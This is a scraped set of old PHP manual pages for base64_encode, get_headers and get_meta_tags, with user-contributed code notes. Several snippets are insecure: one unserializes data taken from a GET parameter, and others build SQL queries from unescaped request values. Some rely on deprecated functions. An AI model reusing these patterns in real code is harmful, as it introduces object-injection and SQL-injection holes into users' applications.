If the function doesn't exist, this is a messy but effective way of doing it:

<?

echo bencode("Gabriel Malca");
// R2FicmllbCBNYWxjYQ==

function bencode($string='') {
    $binval = convert_binary_str($string);
    $final = "";
    $start = 0;
    while ($start < strlen($binval)) {
        if (strlen(substr($binval,$start)) < 6)
            $binval .= str_repeat("0",6-strlen(substr($binval,$start)));
        $tmp = bindec(substr($binval,$start,6));
        if ($tmp < 26)
            $final .= chr($tmp+65);
        elseif ($tmp > 25 && $tmp < 52)
            $final .= chr($tmp+71);
        elseif ($tmp == 62)
            $final .= "+";
        elseif ($tmp == 63)
            $final .= "/";
        elseif (!$tmp)
            $final .= "A";
        else
            $final .= chr($tmp-4);
        $start += 6;
    }
    if (strlen($final)%4>0)
        $final .= str_repeat("=",4-strlen($final)%4);
    return $final;
}

function convert_binary_str($string) {
    if (strlen($string)<=0) return;
    $tmp = decbin(ord($string[0]));
    $tmp = str_repeat("0",8-strlen($tmp)).$tmp;
    return $tmp.convert_binary_str(substr($string,1));
}

?>
conradopinto at yahoo dot com dot br 09-Feb-2006 07:04
There is an error on the example of passing an array through an HTML Form.

In the line:
$array = unserialize(base64_decode($coded_array);

There is a ')' missing. it should be:
$array = unserialize(base64_decode($coded_array));
virtuall at virtuall dot info 06-Dec-2005 01:53
If you encode text that contains symbols like < > and want to send it in GET query, be sure to urlencode the result of base64_encode, as it sometimes adds a  + (and it's a special symbol) at the end:

<?php
    echo base64_encode('<html>');
?>

returns:

PGh0bWw+

A function like this could also be useful:

<?php
    function base64_urlencode($str) {
        return urlencode(base64_encode($str));
    };
?>
andi151278 14-Nov-2005 09:58
Using base64_encode to produce clean filenames from usernames (e.g. for image upload) is a bad idea if Umlaute (ö,ä,ü) are allowed. Then there is a slash (/) added in the filename, that will lead to a nonexisting directory beeing looked for and your script crashing!
Cristiano Calligaro 25-Aug-2005 03:05
I've used base64_encode and base64_decode for file attachment both in MySQL (using a BLOB field) and MSSQL (using a TEXT field). For MSSQL remember to set in PHP.INI file both mssql.textsize and mssql.textlimit to 2147483647.

Here's the code:

######### MSSQL(mssql_)/MySQL(mysql_) file attach
$val=$HTTP_POST_FILES['lob_upload']['tmp_name'];
$valn=$HTTP_POST_FILES['lob_upload']['name'];
$valt=$HTTP_POST_FILES['lob_upload']['type'];

$data=base64_encode(addslashes(fread(fopen($val, "r"), filesize($val))));

mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "UPDATE $table SET $field='$data', $fieldname='$valn', $fieldtype='$valt' WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
mssql_close();

######### MSSQL(mssql_)/MySQL(mysql_) open file attached
mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "SELECT $field,$fieldtype FROM $table WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
$row = mssql_fetch_array($result);

header("Content-type: $row[1]");
echo stripslashes(base64_decode($row[0]));

This strategy is good for Microsoft Word, Acrobat PDF, JPG image and so on (even zipped files!!!)
mightymrj at hotmail dot com 28-Oct-2004 10:35
Problem: mime attachments sending as blank or almost completely blank documents (all data is lost)

Explanation: After a couple days of trying to mime pdf attachments without losing all data, I finally came across this function in some obsolete obscure post:

set_magic_quotes_runtime()

This is set to on by default in the machine, and it causes fread() and/or base64_encode() (both used in most mime examples I've seen) to read or encrypt binary without slashes for special characters.  This causes sent files to process incorrectly, breaking, thus truncating most of the data in the file.

Fix: pass 0 to this function and it will do a one time turn off while your code executes.

example:
<?php
   set_magic_quotes_runtime(0);
?>

This can also been turned off in the php.ini file, but I'm not sure what uses that setting or what the consequences might be.

info:
   http://us2.php.net/manual/en/function.set-magic-quotes-runtime.php
juha at kuhazor dot idlegames dot com 21-Jun-2004 08:29
If you use base64encoded strings as cookie names, make sure you remove '=' characters. At least Internet Explorer refuses cookie names containing '=' characters or urlencoded cookie names containing %xx character replacements. Use the function below to turn base64 encoded strings to bare alphabets (get rid of / and + characters as well)

<?php
function base64clean($base64string)
{
     $base64string = str_replace(array('=','+','/'),'',$base64string);

     return $base64string;
}
?>
Siu from Hong Kong 19-Nov-2003 11:17
As someone suggested above:

using base64_encode() to encode image data and finally output to browser using "data" scheme of IMG src:

<?
// ...
echo '<img src="data:image/png;base64,'.$encoded.' ">';
?>

Netscape browser supports this... However, Windows' Internet Explorer does not.

To embed binary contents in ascii text based html file for IE, you need use MIME multipart.
sb 29-Aug-2003 03:33
Re the message on 10-May-2003 04:02

You'll want to call urlencode on the base_64 encoded data before putting it into a GET.  IIUC, base 64 output includes the plus and the slash, both of which will be mungered by browsers.
teddy at mycyberclassroom dot com 28-May-2003 09:21
if you want to insert the base64 encoded image in your html <img src> you need to write 'data:datatype;base64,encodeddata' . For example here's a way to embed an PNG image data:

<?
//get the base64 encoded image
$handle = fopen($tempfile,'rb');
$file_content = fread($handle,filesize($tempfile));
fclose($handle);
$encoded = chunk_split(base64_encode($file_content));

//then echo to browser as:

echo '<img src="data:image/png;base64,'.$encoded.' ">';
?>
Calvin[at] polbox [at] com 13-May-2003 02:34
If you want attach a binary file into mail, pay attention to use mode with "B" flag into fopen function (This is useful only on systems which differentiate between binary and text files, i.e. Windows) Include the 'b' flag in order to make your scripts more portable.

<?php
$handle = fopen($source_file,'rb');
$file_content = fread($handle,filesize($source_file));
fclose($handle);
$encoded = chunk_split(base64_encode($file_content));
?>
koos_nt_hulskamp at hotmail dot com 10-May-2003 05:02
I had to send a php array trough a FORM in HTML, and came up with this solution:

<?
$array[] = array("foo", "bar");
$coded_array = base64_encode(serialize($array));
?>

now u can put the $coded_array into an input field or even a GET link ex:

<a href="some_script.php?coded_array=<?=$coded_array;?>">script link</a>

after receiving it in the script you send it to, do the following:

<?
$coded_array = $_GET["coded_array"]     // or $_POST off course
$array = unserialize(base64_decode($coded_array);
?>
guy at bhaktiandvedanta dot com 01-Oct-2002 05:00
You can use base64_encode to transfer image file into string text and then display them. I used this to store my images in a database and display them form there. First I open the files using fread, encoded the result, and stored that result in the database. Useful for creating random images.

image.php:

<?

header(" Content-Type: image/jpeg");
header(" Content-Disposition: inline");
$sql = "SELECT data FROM image where name='".$img."'";
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
$image = $row[0];
echo base64_decode($image);

?>

And in the html file you put:

<img src="image.php?img=test3"  border="0" alt="">

Guy Laor
base64_decode
get_headers
URL Functions


Fetches all the headers sent by the server in response to a HTTP request

base64_encode
get_meta_tags
URL Functions
PHP Manual

get_headers

(PHP 5)

get_headers — Fetches all the headers sent by the server in response to a HTTP request

Description

array get_headers ( string $url [, int $format = 0 ] )

get_headers() returns an array with the headers sent by the server in response to a HTTP request.

Parameters

url

The target URL.

format

If the optional format parameter is set to non-zero, get_headers() parses the response and sets the array's keys.

Return Values

Returns an indexed or associative array with the headers, or FALSE on failure.

Changelog

Version | Description
5.1.3 | This function now uses the default stream context, which can be set/changed with the stream_context_set_default() function.

Examples

Example #1 get_headers() example

<?php
$url = 'http://www.example.com';

print_r(get_headers($url));

print_r(get_headers($url, 1));
?>

The above example will output something similar to:

Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Sat, 29 May 2004 12:28:13 GMT
    [2] => Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
    [4] => ETag: "3f80f-1b6-3e1cb03b"
    [5] => Accept-Ranges: bytes
    [6] => Content-Length: 438
    [7] => Connection: close
    [8] => Content-Type: text/html
)

Array
(
    [0] => HTTP/1.1 200 OK
    [Date] => Sat, 29 May 2004 12:28:14 GMT
    [Server] => Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [Last-Modified] => Wed, 08 Jan 2003 23:11:55 GMT
    [ETag] => "3f80f-1b6-3e1cb03b"
    [Accept-Ranges] => bytes
    [Content-Length] => 438
    [Connection] => close
    [Content-Type] => text/html
)

Example #2 get_headers() using HEAD example

<?php
// By default get_headers uses a GET request to fetch the headers. If you
// want to send a HEAD request instead, you can do so using a stream context:
stream_context_set_default(
    array(
        'http' => array(
            'method' => 'HEAD'
        )
    )
);
$headers = get_headers('http://example.com');
?>

See Also

  • apache_request_headers() - Fetch all HTTP request headers

User Contributed Notes

damolp at hotmail dot com 03-Jul-2011 05:43
I found that this function is the slowest in obtaining the headers of a page probably because it uses a GET request rather then a HEAD request. Over 10,000,000 trials of obtaining the headers of a page from a server i found the following (results in seconds).

cURL: Mean: 0.584127946. Sigma: 0.050581736.
fsocketopen: Mean: 0.622114251. Sigma: 0.263170424.
get_headers: Mean: 0.90375551. Sigma: 0.273823419.

cURL was the fastest with fsocketopens being the second fastest. I noticed as well that fsocketopen had some outliers where as cURL did not.
Lukas Najduk 11-Jan-2011 03:36
Unfortunately there is still no useful output format to handle redirects.

This function will bring all non-broken headers into a usable format. Too bad it has to call the get_headers() funtion 2 times, but i dont see any other possibility right now.

<?php
function page_get_headers($crawl_uri) {
    // get the array values where to split the second get headers return
    $headers = get_headers($crawl_uri, 1);
    if (empty($headers)) {
        return array();
    }
    $splitmarks = array();
    foreach ($headers as $key=>$h) {
        if (is_numeric($key)) {
            array_push($splitmarks, $h);
        }
    }

    // get the "real" headers
    $headers_final = array();
    $i = 0;
    $headers = get_headers($crawl_uri);
    foreach ($headers as $head) {
        // if the value is one of the splitmarks, start the next header
        if (array_key_exists($i, $splitmarks) && $head === $splitmarks[$i]) {
            $i++;
        }
        else {
            // get the headers name
            $tmp = explode(": ", $head, 2);
            // check if the header is already existing, if yes, parse the similar header to an array
            if (!empty($headers_final[$i-1][$tmp[0]])) {
                if (is_array($headers_final[$i-1][$tmp[0]])) {
                    array_push($headers_final[$i-1][$tmp[0]], $tmp[1]);
                }
                else {
                    $headers_final[$i-1][$tmp[0]] = array($headers_final[$i-1][$tmp[0]], $tmp[1]);
                }
            }
            else {
                $headers_final[$i-1][$tmp[0]] = $tmp[1];
            }
        }
    }
    return $headers_final;
}
?>
Weboide 25-Sep-2010 06:13
Note that get_headers **WILL follow redirections** (HTTP redirections). New headers will be appended to the array if $format=0. If $format=1 each redundant header will be an array of multiple values, one for each redirection.

For example:

<?php
$url = 'http://google.com';
var_dump(get_headers($url,0));
/*array(18) {
  [0]=>  string(30) "HTTP/1.0 301 Moved Permanently"
  [1]=>  string(32) "Location: http://www.google.com/"
  [2]=>  string(38) "Content-Type: text/html; charset=UTF-8"
  [3]=>  string(35) "Date: Sun, 26 Sep 2010 00:59:50 GMT"
  [4]=>  string(38) "Expires: Tue, 26 Oct 2010 00:59:50 GMT"
  [5]=>  string(38) "Cache-Control: public, max-age=2592000"
....
  string(15) "HTTP/1.0 200 OK"
  [10]=>  string(35) "Date: Sun, 26 Sep 2010 00:59:51 GMT"
  [11]=>  string(11) "Expires: -1"
  [12]=>  string(33) "Cache-Control: private, max-age=0"
.....
}*/

/*===========================*/

var_dump(get_headers($url,1));
/*array(11) {
  [0]=>
  string(30) "HTTP/1.0 301 Moved Permanently"
  ["Location"]=>  string(22) "http://www.google.com/"
  ["Content-Type"]=>  array(2) {
    [0]=>    string(24) "text/html; charset=UTF-8"
    [1]=>    string(29) "text/html; charset=ISO-8859-1"
  }
  ["Date"]=>  array(2) {
    [0]=>    string(29) "Sun, 26 Sep 2010 01:03:39 GMT"
    [1]=>    string(29) "Sun, 26 Sep 2010 01:03:39 GMT"
  }
  ["Expires"]=>  array(2) {
    [0]=>    string(29) "Tue, 26 Oct 2010 01:03:39 GMT"
    [1]=>    string(2) "-1"
  }
  ["Cache-Control"]=>  array(2) {
    [0]=>    string(23) "public, max-age=2592000"
    [1]=>    string(18) "private, max-age=0"
  }
.....
}*/
?>
nick at innovaweb dot co dot uk 02-May-2010 05:28
Seems like there are some people who are looking for only the 3-digit HTTP response code  - here is a quick and nasty solution:

<?php
function get_http_response_code($theURL) {
    $headers = get_headers($theURL);
    return substr($headers[0], 9, 3);
}
?>

How easy is that? Echo the function containing the URL you want to check the response code for, and voilà. Custom redirects, alternative for blocked is_file() or flie_exists() functions (like I seem to have on my servers) hence the cheap workaround. But hey - it works!

Pudding
php at hm2k dot org 28-Jan-2010 10:20
<?php
/**
 * Fetches all the real headers sent by the server in response to a HTTP request without redirects
 *
 * @link      http://php.net/function.get_headers
 * @link      http://bugs.php.net/bug.php?id=50719
 */

function get_real_headers($url,$format=0,$follow_redirect=0) {
  if (!$follow_redirect) {
    //set new default options
    $opts = array('http' =>
        array('max_redirects'=>1,'ignore_errors'=>1)
    );
    stream_context_get_default($opts);
  }
  //get headers
    $headers=get_headers($url,$format);
    //restore default options
  if (isset($opts)) {
    $opts = array('http' =>
        array('max_redirects'=>20,'ignore_errors'=>0)
    );
    stream_context_get_default($opts);
  }
  //return
    return $headers;
}
?>
gabe at vtunnel dot com 22-Apr-2009 01:23
In some cases, you don't want get_headers to follow redirects. For example, some of my servers can access a particular website, which sends a redirect header. The site it is redirected to, however, has me firewalled. I need to take the 302 redirected url, and do something to it to give me a new url that I *can* connect to.

The following will give you output similar to get_headers, except it has a timeout, and it doesn't follow redirects:

<?php
function get_headers_curl($url)
{
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL,            $url);
    curl_setopt($ch, CURLOPT_HEADER,         true);
    curl_setopt($ch, CURLOPT_NOBODY,         true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT,        15);

    $r = curl_exec($ch);
    $r = split("\n", $r);
    return $r;
}

If you do want to follow redirects, you can do something like this:

$go = 1;
$i = 1;

while ($go && $i < 6)
{
    $headers = get_headers_curl($url);
    $go = getNextLocation($headers);
    if ($go)
    {
        $url = modifyUrl($go);
    }
    $i++;
}

function getNextLocation($headers)
{
    $array = $headers;
    $count = count($array);

    for ($i=0; $i < $count; $i++)
    {
        if (strpos($array[$i], "ocation:"))
        {
                $url = substr($array[$i], 10);
        }
    }
    if ($url)
    {
        return $url;
    }
    else
    {
        return 0;
    }
}
?>
info at marc-gutt dot de 21-Jun-2008 05:04
Should be the same than the original get_headers():

<?php
if (!function_exists('get_headers')) {
function get_headers($url, $format=0) {
    $headers = array();
    $url = parse_url($url);
    $host = isset($url['host']) ? $url['host'] : '';
    $port = isset($url['port']) ? $url['port'] : 80;
    $path = (isset($url['path']) ? $url['path'] : '/') . (isset($url['query']) ? '?' . $url['query'] : '');
    $fp = fsockopen($host, $port, $errno, $errstr, 3);
    if ($fp)
    {
        $hdr = "GET $path HTTP/1.1\r\n";
        $hdr .= "Host: $host \r\n";
        $hdr .= "Connection: Close\r\n\r\n";
        fwrite($fp, $hdr);
        while (!feof($fp) && $line = trim(fgets($fp, 1024)))
        {
            if ($line == "\r\n") break;
            list($key, $val) = explode(': ', $line, 2);
            if ($format)
                if ($val) $headers[$key] = $val;
                else $headers[] = $key;
            else $headers[] = $line;
        }
        fclose($fp);
        return $headers;
    }
    return false;
}
}
?>
php dot sirlancelot at spamgourmet dot com 05-Jun-2008 01:59
I tried to replicate the native behavior as much as possible for systems that don't have the get_headers() function. Here it is:
<?php
if (!function_exists('get_headers')) {
function get_headers($Url, $Format= 0, $Depth= 0) {
    if ($Depth > 5) return;
    $Parts = parse_url($Url);
    if (!array_key_exists('path', $Parts))   $Parts['path'] = '/';
    if (!array_key_exists('port', $Parts))   $Parts['port'] = 80;
    if (!array_key_exists('scheme', $Parts)) $Parts['scheme'] = 'http';

    $Return = array();
    $fp = fsockopen($Parts['host'], $Parts['port'], $errno, $errstr, 30);
    if ($fp) {
        $Out = 'GET '.$Parts['path'].(isset($Parts['query']) ? '?'.@$Parts['query'] : '')." HTTP/1.1\r\n".
               'Host: '.$Parts['host'].($Parts['port'] != 80 ? ':'.$Parts['port'] : '')."\r\n".
               'Connection: Close'."\r\n";
        fwrite($fp, $Out."\r\n");
        $Redirect = false; $RedirectUrl = '';
        while (!feof($fp) && $InLine = fgets($fp, 1280)) {
            if ($InLine == "\r\n") break;
            $InLine = rtrim($InLine);

            list($Key, $Value) = explode(': ', $InLine, 2);
            if ($Key == $InLine) {
                if ($Format == 1)
                        $Return[$Depth] = $InLine;
                else    $Return[] = $InLine;

                if (strpos($InLine, 'Moved') > 0) $Redirect = true;
            } else {
                if ($Key == 'Location') $RedirectUrl = $Value;
                if ($Format == 1)
                        $Return[$Key] = $Value;
                else    $Return[] = $Key.': '.$Value;
            }
        }
        fclose($fp);
        if ($Redirect && !empty($RedirectUrl)) {
            $NewParts = parse_url($RedirectUrl);
            if (!array_key_exists('host', $NewParts))   $RedirectUrl = $Parts['host'].$RedirectUrl;
            if (!array_key_exists('scheme', $NewParts)) $RedirectUrl = $Parts['scheme'].'://'.$RedirectUrl;
            $RedirectHeaders = get_headers($RedirectUrl, $Format, $Depth+1);
            if ($RedirectHeaders) $Return = array_merge_recursive($Return, $RedirectHeaders);
        }
        return $Return;
    }
    return false;
}}
?>
The function will handle up to five redirects.
Enjoy!
dxtrim at yahoo dot com 17-Jan-2008 01:16
Content-Type returns a value depending only on the extension and not the real MIME TYPE.

So, bad_file.exe renamed to good_file.doc will return application/msword

A file without extension returns a 404.
13-Nov-2006 12:29
I've noticed it.
Some Server will simply return the false reply header if you sent 'HEAD' request instead of 'GET'. The 'GET' request header always receiving the most actual HTTP header instead of 'HEAD' request header. But If you don't mind for a fast but risky method then 'HEAD' request is better for you.

btw ... this is get header with additional information such as User, Pass & Refferer. ...
<?php
    function get_headers_x($url,$format=0, $user='', $pass='', $referer='') {
        if (!empty($user)) {
            $authentification = base64_encode($user.':'.$pass);
            $authline = "Authorization: Basic $authentification\r\n";
        }

        if (!empty($referer)) {
            $refererline = "Referer: $referer\r\n";
        }

        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "GET ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\n";
            if (!empty($url_info['port'])) {
                $head .= "Host: ".@$url_info['host'].":".$url_info['port']."\r\n";
            } else {
                $head .= "Host: ".@$url_info['host']."\r\n";
            }
            $head .= "Connection: Close\r\n";
            $head .= "Accept: */*\r\n";
            $head .= $refererline;
            $head .= $authline;
            $head .= "\r\n";

            fputs($fp, $head);
            while(!feof($fp) or ($eoheader==true)) {
                if($header=fgets($fp, 1024)) {
                    if ($header == "\r\n") {
                        $eoheader = true;
                        break;
                    } else {
                        $header = trim($header);
                    }

                    if($format == 1) {
                    $key = array_shift(explode(':',$header));
                        if($key == $header) {
                            $headers[] = $header;
                        } else {
                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                    unset($key);
                    } else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;

        } else {
            return false;
        }
    }
?>

Regards.
Donovan
10-May-2006 04:10
If you want to get headers that current PHP process is going to send back to browser, see headers_list()
stuart at sixletterwords dot com 14-Sep-2005 12:52
hey, i came across this afew weeks ago and used the function in an app for recording info about domains that my company owns, and found that the status this returns was wrong most of the time (400 bad request or void for sites that were clearly online). then looking into it i noticed the problem was that it wasn't able to get the correct info about sites with redirections. but thats not the full problem because everything on my server was returning the wrong status too. i searched around on php.net for other info and found that fsockopen's example worked better and only needed some tweeking.

heres the function i put together from it and a small change.

<?php
if(!function_exists('get_headers')) {
   function get_headers($url,$format=0,$httpn=0){
    $fp = fsockopen($url, 80, $errno, $errstr, 30);
    if ($fp) {
       $out = "GET / HTTP/1.1\r\n";
       $out .= "Host: $url\r\n";
       $out .= "Connection: Close\r\n\r\n";
       fwrite($fp, $out);
       while (!feof($fp)) {
           $var.=fgets($fp, 1280);
       }

    $var=explode("<",$var);
    $var=$var[0];
    $var=explode("\n",$var);
    fclose($fp);
    return $var;
    }
    }
}
?>

this returns an array of the header (only problem being that if the site doesn't have correct html it'll pull in some content too).

hope this'll help someone else.
sey at sey dot prometheus-designs dot net 27-Jul-2005 04:10
The replacement updated get_headers function by aeontech at gmail dot com improperly formats dates when $format = 1.

Replace:
<?
else {
$headers[strtolower($h2[0])] = trim($h2[1]);
}
?>

With:
<?
else {
$foo = implode( ':', $h2 );
$foo = preg_replace( '/[a-zA-Z- ]*: /', '', $foo );
$headers[strtolower($h2[0])] = trim( $foo );
}
drfickle2 at yahoo dot com 27-Jul-2005 05:01
aeontech, this the below change adds support for SSL connections. Thanks for the code!

        if (isset($url_info['scheme']) && $url_info['scheme'] == 'https') {
            $port = 443;
            $fp=fsockopen('ssl://'.$url_info['host'], $port, $errno, $errstr, 30);
        } else {
           $port = isset($url_info['port']) ? $url_info['port'] : 80;
            $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        }
15-Jul-2005 01:37
For anyone reading the previous comments, here is code that takes into account all the previous suggestions and includes a bugfix, too.

This code basically provides the "get_headers" function even on systems that are not running PHP 5.0.  It uses strtolower() on the keys, as suggested.  It uses the $h2 array instead of the $key, as suggested.  It removes a line about unsetting the $key -- no reason to unset something which is no longer used.  And I've changed the status header to be named "status" (instead of "0") in the array.  Note that if more than one header is returned without a label, they'll be stuck in "status" -- but I think status is the only header that comes back without a label, so it works for me.  So, first the code, then a sample of the usage:

<?php
if(!function_exists('get_headers')) {
   /**
   * @return array
    * @param string $url
    * @param int $format
    * @desc Fetches all the headers
    * @author cpurruc fh-landshut de
    * @modified by dotpointer
    * @modified by aeontech
    */
    function get_headers($url,$format=0) {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "HEAD ".@$url_info['path']."?".@$url_info['query'];
            $head .= " HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
            fputs($fp, $head);
            while(!feof($fp)) {
                if($header=trim(fgets($fp, 1024))) {
                    if($format == 1) {
                        $h2 = explode(':',$header);
                        // the first element is the http header type, such as HTTP/1.1 200 OK,
                        // it doesn't have a separate name, so we have to check for it.
                        if($h2[0] == $header) {
                            $headers['status'] = $header;
                        }
                        else {
                            $headers[strtolower($h2[0])] = trim($h2[1]);
                        }
                    }
                    else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;
        }
        else {
            return false;
        }
    }
}
?>

OK?  Here's the usage:

<?php
$response = get_headers('http://www.example.com/', 1);
if (!$response) {
    echo 'Unable to initiate connection.';
}
else {
    print_r($response);
}
?>
Chortos-2 03-Jun-2005 02:44
aeontech, I'd edit your function a little... How about replacing this:

<?
                       $key = array_shift(explode(':',$header));
                       // the first element is the http header type, such as HTTP 200 OK,
                       // it doesn't have a separate name, so we have to check for it.
                       if($key == $header)
                       {
                           $headers[] = $header;
                       }
                       else
                       {
                           $headers[$key]=substr($header,strlen($key)+2);
                       }
?>

with this:

<?
                       $h2 = explode(':',$header);
                       // the first element is the http header type, such as HTTP/1.1 200 OK,
                       // it doesn't have a separate name, so we have to check for it.
                       if($h2[0] == $header)
                       {
                           $headers[] = $header;
                       }
                       else
                       {
                           $headers[ $h2[0] ] = trim($h2[1]);
                       }
?>

I think it looks a bit nicer :)
david at nothisbit dot futuresbright dot com 05-Apr-2005 04:03
After discovering that some webservers reply with "Content-Type" and others with "Content-type" I modified the function below to use strtolower($key) to make for easy checking against these case differences.
aeontech at gmail dot com 23-Dec-2004 05:20
In response to dotpointer's modification of Jamaz' solution...

Here is a small modification of your function, this adds the emulation of the optional $format parameter.

<?php
if(!function_exists('get_headers')) {

    /**
    * @return array
    * @param string $url
    * @param int $format
    * @desc Fetches all the headers
    * @author cpurruc fh-landshut de
    * @modified by dotpointer
    * @modified by aeontech
    */
    function get_headers($url,$format=0)
    {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);

        if($fp)
        {
            $head = "HEAD ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
            fputs($fp, $head);
            while(!feof($fp))
            {
                if($header=trim(fgets($fp, 1024)))
                {
                    if($format == 1)
                    {
                        $key = array_shift(explode(':',$header));
                        // the first element is the http header type, such as HTTP 200 OK,
                        // it doesn't have a separate name, so we have to check for it.
                        if($key == $header)
                        {
                            $headers[] = $header;
                        }
                        else
                        {
                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                        unset($key);
                    }
                    else
                    {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;
        }
        else
        {
            return false;
        }
    }
}
?>
base64_encode
get_meta_tags
URL Functions


Extracts all meta tag content attributes from a file and returns an array

get_headers
http_build_query
URL Functions
PHP Manual

get_meta_tags

(PHP 4, PHP 5)

get_meta_tags — Extracts all meta tag content attributes from a file and returns an array

Description

array get_meta_tags ( string $filename [, bool $use_include_path = false ] )

Opens filename and parses it line by line for <meta> tags in the file. The parsing stops at </head>.

Parameters

filename

The path to the HTML file, as a string. This can be a local file or an URL.

Example #1 What get_meta_tags() parses

<meta name="author" content="name">
<meta name="keywords" content="php documentation">
<meta name="DESCRIPTION" content="a php manual">
<meta name="geo.position" content="49.33;-86.59">
</head> <!-- parsing stops here -->
(pay attention to line endings - PHP uses a native function to parse the input, so a Mac file won't work on Unix).

use_include_path

Setting use_include_path to TRUE will result in PHP trying to open the file along the standard include path as per the include_path directive. This is used for local files, not URLs.

Return Values

Returns an array with all the parsed meta tags.

The value of the name property becomes the key, the value of the content property becomes the value of the returned array, so you can easily use standard array functions to traverse it or access single values. Special characters in the value of the name property are substituted with '_', the rest is converted to lower case. If two meta tags have the same name, only the last one is returned.

Changelog

Version | Description
4.0.5 | Support for unquoted HTML attributes was added.

Examples

Example #2 What get_meta_tags() returns

<?php
// Assuming the above tags are at www.example.com
$tags = get_meta_tags('http://www.example.com/');

// Notice how the keys are all lowercase now, and
// how . was replaced by _ in the key.
echo $tags['author'];       // name
echo $tags['keywords'];     // php documentation
echo $tags['description'];  // a php manual
echo $tags['geo_position']; // 49.33;-86.59
?>

Notes

Note:

Only meta tags with name attributes will be parsed.

See Also

  • htmlentities() - Convert all applicable characters to HTML entities
  • urlencode() - URL-encodes string

User Contributed Notes

jstel at 126 dot com 13-Jul-2009 09:36
this function could get each meta of html content , and stripped all js and css.

<?php
function get_meta_data($content)
{
    $content = strtolower($content);
    $content = preg_replace("'<style[^>]*>.*</style>'siU",'',$content);  // strip js
    $content = preg_replace("'<script[^>]*>.*</script>'siU",'',$content); // strip css
    $split = explode("\n",$content);
    foreach ($split as $k => $v)
    {
        if (strpos(' '.$v,'<meta')) {
             preg_match_all(
"/<meta[^>]+(http\-equiv|name)=\"([^\"]*)\"[^>]" . "+content=\"([^\"]*)\"[^>]*>/i",
$v, $split_content[],PREG_PATTERN_ORDER);;
        }
    }
    return $split_content;
}
?>
Antonio - Malaga 10-Feb-2009 02:21
It's not work if meta syntax not have trailing slash.
doob_ at gmx dot de 27-Nov-2008 04:12
<?php

/*
** Extracts and formats meta tag content
*/

function get_meta_data($url, $searchkey='') {
    $data = get_meta_tags($url);    // get the meta data in an array
    foreach($data as $key => $value) {
        if(mb_detect_encoding($value, 'UTF-8, ISO-8859-1', true) != 'ISO-8859-1') {    // check whether the content is UTF-8 or ISO-8859-1
            $value = utf8_decode($value);    // if UTF-8 decode it
        }
        $value = strtr($value, get_html_translation_table(HTML_ENTITIES));    // mask the content
        if($searchkey != '') {    // if only one meta tag is in demand e.g. 'description'
            if($key == $searchkey) {
                $str = $value;    // just return the value
            }
        } else {    // all meta tags
            $pattern = '/ |,/i';    // ' ' or ','
            $array = preg_split($pattern, $value, -1, PREG_SPLIT_NO_EMPTY);    // split it in an array, so we have the count of words
            $str .= '<p><span style="display:block;color:#000000;font-weight:bold;">' . $key . ' <span style="font-weight:normal;">(' . count($array) . ' words | ' . strlen($value) . ' chars)</span></span>' . $value . '</p>';    // format data with count of words and chars
        }
    }
    return $str;
}

$content .= get_meta_data("http://www.example.com/");
/*
output looks like this:

description (23 words | 167 chars)
SELFHTML 8.1.2 - Die bekannte Dokumentation zu HTML, JavaScript und CGI/Perl - Tutorial und Referenz, mit etlichen Zusatztips zu Design, Grafik, Projektverwaltung usw.

keywords (13 words | 119 chars)
SELFHTML, HTML, Dynamic HTML, JavaScript, CGI, Perl, Grafik, WWW-Seiten, Web-Seiten, Hilfe, Dokumentation, Beschreibung

etc.

*/

$content .= get_meta_data("http://www.example.com/", "description");
/*
output looks like this:

SELFHTML 8.1.2 - Die bekannte Dokumentation zu HTML, JavaScript und CGI/Perl - Tutorial und Referenz, mit etlichen Zusatztips zu Design, Grafik, Projektverwaltung usw.
*/

?>
diel at caroes dot be 16-Jan-2008 10:38
Quick meta data grabber
[code]
if(get_meta_tags('http://'.$_POST['pagina'])){
        print '<font class="midden">Meta data from http://'.$_POST['pagina'].'</font>';
        $metadata = get_meta_tags('http://'.$_POST['pagina']);
        echo '<table width="100%">';
        print '<tr><td>Meta</td><td>Waarde</td></tr>';
        foreach($metadata as $naam => $waarde){
            echo '<tr><td valign="top">'.$naam.'</td><td>'.$waarde.'</td></tr>';
        }
        print '</table>';
    }else{
        print '
        <div class="red_h">Incorrect</div>
        ';
    }
[/code]
dev at No_SpAm dot phpartist dot com 03-Feb-2007 07:05
Please consider that get_meta_tags and get_headers returns error when you try to connect a secure site (https) if you did'nt enable ssl support. For PHP socket functions like fsockopen, the same error occures.
roganty at gmail dot com 19-Aug-2006 03:33
This is a slight amendment to jimmyxx at gmail dot com function

I tried using the regex displayed in his code, and php threw up a couple of errors

Below is the correct regular expression that works
(Please note that I had to split the regex into strings because php.net was complaining about the line being to long)
<?php
preg_match_all(
   "|<meta[^>]+name=\"([^\"]*)\"[^>]" . "+content=\"([^\"]*)\"[^>]+>|i",
   $html, $out,PREG_PATTERN_ORDER);
?>

The problem was due to the quotes being incorrectly escaped.
